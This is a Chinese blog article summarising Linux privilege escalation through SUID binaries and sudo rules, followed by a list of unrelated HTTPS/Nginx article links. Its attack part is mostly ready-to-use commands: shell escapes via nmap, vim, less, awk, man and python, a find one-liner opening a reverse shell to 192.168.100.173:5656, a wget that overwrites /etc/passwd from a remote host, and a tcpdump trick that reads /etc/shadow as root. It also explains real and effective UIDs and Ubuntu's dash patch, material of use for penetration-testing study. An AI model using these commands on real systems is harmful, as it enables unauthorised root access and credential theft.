百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

记一次Linux安全提权总结(linux系统提权常用手段)

nanshan 2024-11-05 10:38 27 浏览 0 评论

前言:人们赞美流星,是因为它燃烧着走完自己的全部路程。

一、初识SUID

1.suid的简介

suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。需要这种特殊权限的场景在Linux下很常见。
已知的可以用来提权的Linux可执行文件有:
CopyNmap、Vim、find、Bash、More、Less、Nano、cp
比如常用的ping命令。ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:

  1. root@linux:# ls -al /bin/ping
  2. -rwsr-xr-x 1 root root 44168 May 7 2021 /bin/ping

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是root,它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
Real UID 执行该进程的用户实际的UID,谁通过shell运行就是谁
Effective UID 程序实际操作时生效的UID,一般在进程启动时,直接由Real UID复制而来;或者是当进程对应的可执行文件的suid标志位为s时,为该文件的所属用户/组。所以利用suid文件进行提权需要2个前提:文件的所有者是 0 号或其他super user 文件拥有suid权限
在os层面目前常见发行版linux也会对suid的权限进行限制,具体可以参考p神这篇文章 ,把suid的提权简单抽象为一个c代码:

  1. int main(int argc, char* argv[]) {
  2. return system(argv[1]);
  3. }

编译并赋予suid权限:

  1. root@linux:/tmp# gcc suid.c -o suid
  2. root@linux:/tmp# chmod +s suid

2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>关注我,私信回复"资料"获取<一

2./etc/sudoers 语法

  1. root ALL=(ALL) ALL

root 用户可以从 ALL(任何)终端执行,充当ALL(任何)用户,并运行ALL(任何)命令。第一部分指定用户,第二部分指定可充当用户,第三部分指定 sudo 可运行的命令。

touhid ALL= /sbin/poweroff

输入 touchid 的密码,可以 sudo 执行 poweroff 命令。

touhid ALL = (root) NOPASSWD: /usr/bin/find

不输入密码,可以 sudo 执行 find 命令。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

Real UID 执行该进程的用户实际的UID

Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)

Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

2. 查找具有 SUID 权限位文件

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null``find / -perm -u=s -type f 2>/dev/null``find / -user root -perm -4000 -exec ls -ldb {} ;

也可以使用 sudo -l 命令列出当前用户可执行的命令

二、常见的提权方式

1.Nmap

nmap是一个经典的端口扫描工具,当目标主机存在版本在2.02-5.21之间的nmap且os的版本在上面受影响的范围内或更早就可以尝试使用这种方法进行提权。

nmap --interactive //进入交互模式

nmap -v //查看版本

nmap> !sh sh-3.2# whoami root

Metasploit也有利用SUID Nmap进行提权攻击:
exploit/unix/local/setuid_nmap

nmap提权失败可能出现的原因

nmap在高版本中限制了suid权限

lua脚本中限制了suid权限

新版Linux系统对子进程的suid权限进行了限制

2.Find

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行。

$ find 1sh -exec bash -i >& /dev/tcp/192.168.100.173/5656 0>&1 \;

3.Vi/Vim

vim是linux下常见的文本编辑器,但是如果vim被配置了suid权限,那么运行时就会获取高权限进而对只有root用户才有权限读写的文件进行操作或获取高权限shell。在vi/vim中按下esc再输入一下内容即可获取到root的shell :

vim.tiny``Press ESC key``:set shell=/bin/sh``:shell

4.bash

bash -p``id

###5.Less/More

Less 和 more 都可以执行提权的shell

less /etc/passwd

!/bin/sh

6.python/perl/ruby/lua/php/etc

python -c "importos;os.system(’/bin/bash’)

7.cp覆盖 /etc/shadow 或 /etc/passwd

8.mv

覆盖 /etc/shadow 或 /etc/passwd

9.其它方式

nano

nano /etc/passwd

awk

awk 'BEGIN {system("/bin/sh")}'

man

man passwd

!/bin/bash

wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

apache

仅可查看文件,不能弹 shell:

apache2 -f /etc/shadow

tcpdump

echo #39;id\ncat /etc/shadow' > /tmp/.test

chmod +x /tmp/.test

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

python/perl/ruby/lua/php/etc

python

python -c "import os;os.system('/bin/bash')"

perl

exec "/bin/bash";

三、查找SUID权限文件

以下命令可以找到正在系统上运行的所有SUID可执行文件,命令将从 / 目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm ``-4000``-``print``2``>/dev/null``find / -perm -u=s -type f ``2``>/dev/null``find / -user root -perm ``-4000``-exec ls -ldb {} \;

不同版本下linux的不同输出

Linux发行版

输出结果

Ubuntu 14.04

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Ubuntu 16.04

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ubuntu 18.04

uid=33(www-data) gid=33(www-data) groups=33(www-data)

CentOS 6

uid=33(www-data) gid=33(www-data) groups=33(www-data)

CentOS 8

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Debian 6

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Debian 8

uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Kali 2019

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ubuntu 16.04的不同之处就在dash目录

下载其中的dash_0.5.8.orig.tar.gzdash_0.5.8-2.1ubuntu2.diff.gz并分别解压,我们可以看到dash 0.5.8的原始代码,和Ubuntu对其做的patch。

我们对原始代码进行patch后,会发现多了一个setprivileged函数:

void setprivileged(int on)
{
    static int is_privileged = 1;
    if (is_privileged == on)
        return;
    is_privileged = on;

    /*
     * To limit bogus system(3) or popen(3) calls in setuid binaries, require
     * -p flag to work in this situation.
     */
    if (!on && (uid != geteuid() || gid != getegid())) {
        setuid(uid);
        setgid(gid);
        /* PS1 might need to be changed accordingly. */
        choose_ps1();
    }
}

on的取值取决于用户是否传入了-p参数, 而uid和gid就是当前进程的Real UID(GID)。可见,在on为false,且Real UID 不等于Effective UID的情况下,这里重新设置了进程的UID:

setuid(uid)

setuid函数用于设置当前进程的Effective UID,如果当前进程是root权限或拥有CAP_SETUID权限,则Real UID和Saved UID将被一起设置。

所以,可以看出,Ubuntu发行版官方对dash进行了修改:当dash以suid权限运行、且没有指定-p选项时,将会丢弃suid权限,恢复当前用户权限。

这样以来,dash在suid的表现上就和bash相同了,这也就解释了为什么在Ubuntu 16.04以后,我们无法直接使用SUID+**system**()的方式来提权。

总结
suid提权是渗透测试种经常遇到的情况,遇见的不同系统、不同环境都会有不同的提权方式,掌握多种提权方式是渗透的必备的。

相关推荐

Let’s Encrypt免费搭建HTTPS网站

HTTPS(全称:HyperTextTransferProtocoloverSecureSocketLayer),是以安全为目标的HTTP通道,简单讲是HTTP的安全版。即HTTP下加入...

使用Nginx配置TCP负载均衡(nginx tcp负载)

假设Kubernetes集群已经配置好,我们将基于CentOS为Nginx创建一个虚拟机。以下是实验种设置的详细信息:Nginx(CenOS8Minimal)-192.168.1.50Kube...

Nginx负载均衡及支持HTTPS与申请免费SSL证书

背景有两台minio文件服务器已做好集群配置,一台是192.168.56.41:9000;另一台是192.168.56.42:9000。应用程序通过Nginx负载均衡调用这两台minio服务,减轻单点...

HTTPS配置实战(https配置文件)

原因现在网站使用HTTPS是规范操作之一,前些日子买了腾讯云服务,同时申请了域名http://www.asap2me.top/,目前该域名只支持HTTP,想升级为HTTPS。关于HTTPS的链接过程大...

只有IP地址没有域名实现HTTPS访问方法

一般来说,要实现HTTPS,得有个注册好的域名才行。但有时候呢,咱只有服务器的IP地址,没注册域名,这种特殊情况下,也能照样实现HTTPS安全访问,按下面这些步骤来就行:第一步,先确认公网...

超详解:HTTPS及配置Django+HTTPS开发环境

众所周知HTTP协议是以TCP协议为基石诞生的一个用于传输Web内容的一个网络协议,在“网络分层模型”中属于“应用层协议”的一种。在这里我们并不研究该协议标准本身,而是从安全角度去探究使用该协议传输数...

Godaddy购买SSL之后Nginx配置流程以及各种错误的解决

完整流程:参考地址:https://sg.godaddy.com/zh/help/nginx-generate-csrs-certificate-signing-requests-3601生成NGI...

Nginx从安装到高可用,一篇搞定(nginx安装与配置详解)

一、Nginx安装1、去官网http://nginx.org/下载对应的nginx包,推荐使用稳定版本2、上传nginx到linux系统3、安装依赖环境(1)安装gcc环境yuminstallgc...

阿里云免费证书申请,配置安装,使用tomcat,支持http/https访问

参数说明商品类型默认已选择云盾证书服务(无需修改)。云盾证书服务类型SSL证书服务的类型。默认已选择云盾SSL证书(无需修改),表示付费版SSL证书。如果您需要免费领取或付费扩容DV单域名证书【免费试...

你试过两步实现Nginx的规范配置吗?极速生成Nginx配置小工具

NGINX是一款轻量级的Web服务器,最强大的功能之一是能够有效地提供HTML和媒体文件等静态内容。NGINX使用异步事件驱动模型,在负载下提供可预测的性能。是当下最受欢迎的高性能的Web...

从零开始搭建HTTPS服务(搭建https网站)

搭建HTTPS服务的最初目的是为了开发微信小程序,因为wx.request只允许发起HTTPS请求,并且还必须和指定的域名进行网络通信。要从零开始搭建一个HTTPS的服务需要下面4...

群晖NAS使用官网域名和自己的域名配置SSL实现HTTPS访问

安全第一步,群晖NAS使用官网域名和自己的域名配置SSL实现HTTPS访问【新手导向】NAS本质还是一个可以随时随地访问的个人数据存储中心,我们在外网访问的时候,特别是在公网IP下,其实会面临着很多安...

让网站快速升级HTTPS协议提高安全性

为什么用HTTPS网络安全越来越受到重视,很多互联网服务网站,都已经升级改造为https协议。https协议下数据包是ssl/tcl加密的,而http包是明文传输。如果请求一旦被拦截,数据就会泄露产生...

用Https方式访问Harbor-1.9版本(https访问流程)

我上周在头条号写过一篇原创文章《Docker-Harbor&Docker-kitematic史上最详细双系统配置手册》,这篇算是它的姊妹篇吧。这篇文章也将用到我在头条写的另一篇原创文章的...

如何启用 HTTPS 并配置免费的 SSL 证书

在Linux服务器上启用HTTPS并配置免费的SSL证书(以Let'sEncrypt为例)可以通过以下步骤完成:---###**一、准备工作**1.**确保域名已解析**...

取消回复欢迎 发表评论: